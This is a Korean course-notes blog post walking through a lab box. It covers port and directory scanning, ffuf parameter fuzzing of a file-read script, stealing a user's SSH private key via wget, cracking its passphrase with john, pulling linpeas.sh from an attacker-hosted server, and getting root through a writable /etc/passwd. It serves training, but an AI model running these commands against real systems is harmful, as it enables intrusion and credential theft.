2023. 9. 20. 20:29ㆍnormaltic 비기너 클래스 1기/내용 정리
퍼징(Fuzzing)
퍼징이란 소프트웨어의 취약점을 테스트하는 방법 중 하나로서 의도치 않은 에러 또는 충돌을 유발 시키기 위해 소프트웨어에 무작위로 데이터를 입력한다. 에러가 발생했을 경우 그 원인을 분석하여 보안 취약점이나 버그를 찾는 개념이다. 이러한 개념을 공격자 입장에서도 사용하여 취약점을 발견할 수 있기에 공격방법 중 하나로 사용할 수 있다.
Task1을 이용하여 실습
nmap -sCV 10.10.209.91 > scan_res
cat scan_res
공격대상의 포트 스캔 결과 22번 포트와 80번 포트가 열려있다. 80번 포트는 웹 서버이기 때문에 웹 브라우저에 공격대상의 IP 주소를 입력해보자.
입력 결과 아직 개발되지 않은 웹 서버의 모습을 볼 수 있다. 여기에서는 얻을 정보가 없기 때문에 웹 디렉터리 스캔을 진행한다.
dirbuster
이번에는 웹 디렉터리 스캔에 dirbuster란 도구를 사용해본다. dirbuster는 dirb와 gobuster와 같이 웹 디렉터리 스캔 용도로 자주 사용된다. 스캔 결과 /secret라는 디렉터리에 evil.php라는 php파일이 존재하는걸 확인할 수 있다. 이 php파일에 파라미터가 존재하는지 안하는지는 모르지만 웹 퍼징이라는 공격기법을 사용하여 파라미터가 존재하는지 확인해볼 것이다.
ffuf -u http://10.10.209.91/secret/evil.php?FUZZ=/etc/passwd -w /usr/share/wordlists/rockyou.txt -fs 0
ffuf라는 명령어를 사용하여 웹 퍼징 공격을 수행한다. FUZZ단어에 사전 파일에 존재하는 문자열들을 사용하여 브루트 포싱을 진행하게 된다. 이때 파라미터에 해당하는 문자열을 찾게 된다면 아래에 결과가 나오게 된다. 출력 결과 command라는 파라미터가 존재하는것을 확인할 수 있다.
웹 퍼징 결과로 얻은 evil.php파일의 파라미터 command를 웹 브라우저에 입력하였더니 /etc/passwd파일을 보여주는것을 확인 할 수 있다.
파라미터에 입력하는 내용이 파일말고도 다른 것도 해당되나 시도해보았다. ls나 pwd같은 명령어를 입력했더니 아무런 결과도 나오지 않는걸로 보아 해당 파라미터는 파일의 내용만을 출력해주는 파라미터인걸로 추측 가능하다. 그렇다면 이 정보를 가지고 어떤 작업을 할 수 있나 보았더니 /etc/passwd에 mowree라는 계정이 존재하는걸 확인할 수 있다. mowree계정이 개인키를 가지고 있는지 mowree 홈 디렉터리의 .ssh디렉터리에서 확인해보자.
웹 브라우저에 입력 결과 mowree계정의 개인키가 존재하는걸 확인했다. 이제 이 개인키 정보를 칼리 리눅스로 복사하여 ssh 접속을 시도해보자.
wget http://10.10.209.91/secret/evil.php?command=/home/mowree/.ssh/id_rsa -O id_rsa
wget 명령어를 사용하여 mowree 계정의 개인키를 칼리 리눅스로 다운로드 하였다. 이제 개인키를 가지고 ssh로 접속을 해보자.
ssh -i id_rsa mowree@10.10.209.91
chmod 600 id_rsa
ssh로 접속을 시도하려 했더니 개인키의 권한이 너무 열려있다 한다. 개인키는 매우 중요한 정보이기 때문에 소유자만 이용할 수 있도록 권한을 부여해준다. 부여후 다시 ssh 접속을 시도했더니 이번에는 passpharse를 입력하라고 나온다. passpharse는 개인키 자체의 비밀번호이다. 이는 john the ripper 도구를 사용하여 크랙킹을 진행해야한다. 그전에 개인키를 john 도구에서 쓰일 수 있도록 적합한 형태로 만들어줘야한다.
ssh2john id_rsa > sshkey_pass
john --wordlist=/usr/share/wordlists/rockyou.txt sshkey_pass
ssh2john 명령어는 ssh 개인키를 john도구에 사용할 수 있도록 적합한 형태로 만들어주는 명령어다. 이를 사용하여 적합한 형태로 만들어준 내용을 sshkey_pass파일에 저장한다. 이후 john도구를 사용하여 비밀번호 크랙킹을 진행하였더니 unicorn이라는 비밀번호를 얻을 수 있었다.
얻은 비밀번호를 입력하여 mowree계정으로 접속 성공하였다.
[공격자 컴퓨터]
wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh
ls
python3 -m http.server 80
[공격대상 컴퓨터]
wget http://10.18.30.184/linpeas.sh
ls
공격대상의 계정으로 접속을 했으니 쉘을 획득한거나 마찬가지로 볼 수 있다. 쉘을 획득했으니 권한 상승까지 하기위해 linpeas.sh라는 프로그램을 사용한다. linpeas.sh는 실행한 컴퓨터에서 권한 상승할 수 있는 방법을 찾아서 알려주는 프로그램이다. 이 프로그램을 공격대상 컴퓨터에 다운로드 시키기 위해 공격자 컴퓨터에서 웹 서버를 열고 공격대상 컴퓨터에서 공격자 컴퓨터에서 열어놓은 웹 서버에서 linpeas.sh 파일을 다운로드하는 방식으로 진행할 것이다. 여기서 왜 공격대상 컴퓨터에서 바로 다운로드 하지 않는 이유는 대부분 직접 다운로드받는 방법은 허용되지 않기 때문이다.
chmod +x linpeas.sh
./linpeas.sh
다운로드 받은 linpeas.sh파일을 실행시키기 위해 권한을 부여해주고 실행시켜주면 이렇게 귀여운 강낭콩 캐릭터를 볼 수 있다.
출력된 결과로부터 양질의 정보를 얻기 위해서는 위 사진에서 보이는 색깔의 문자열에 주목하여 읽어나가면 된다. 위 색깔부터 아래의 색깔 순으로 권한상승에 있어서 효과적인 방법이라는 뜻이다.
출력된 결과를 살펴 내려가다 보면은 이러한 항목을 찾을 수 있다. 내용을 보면은 /etc/passwd 파일에 쓰기 권한이 부여되어있다는 내용이다. 이 말인 즉슨 공격대상 시스템의 계정 정보를 마음대로 고쳐 쓸 수 있다는 얘기다. 그렇다면 root권한을 가진 계정을 새로 만들어서 사용을 해도 된다는 의미이다.
mkpasswd --method=SHA-512 --stdin
su van
/etc/passwd에 새로운 계정정보를 쓰기 위해 필요한 비밀번호를 만들기 위해서 mkpasswd 명령어를 사용하여 새 비밀번호를 만들어서 해시화 해준다. 이제 root계정의 uid인 0을 가진 계정을 새로 생성 후에 비밀번호 자리에 해시화된 비밀번호를 입력해주고 저장해준다. 그리고 su명령어를 사용하여 비밀번호를 입력하면 root권한을 가진 계정으로 접속이 가능하다.
'normaltic 비기너 클래스 1기 > 내용 정리' 카테고리의 다른 글
[normaltic 비기너 클래스 1기] 2023-10-04 Drill Course 3주차 내용 정리 (0) | 2023.10.15 |
---|---|
[normaltic 비기너 클래스 1기] 2023-09-20 Drill Course 2주차 내용 정리 (0) | 2023.09.27 |
[normaltic 비기너 클래스 1기] 2023-09-06 Skill Course 4주차 내용 정리 (0) | 2023.09.12 |
[normaltic 비기너 클래스 1기] 2023-08-30 Skill Course 3주차 내용 정리 (0) | 2023.09.11 |
[normaltic 비기너 클래스 1기] 2023-08-16 Skill Course 2주차 내용 정리 (0) | 2023.08.23 |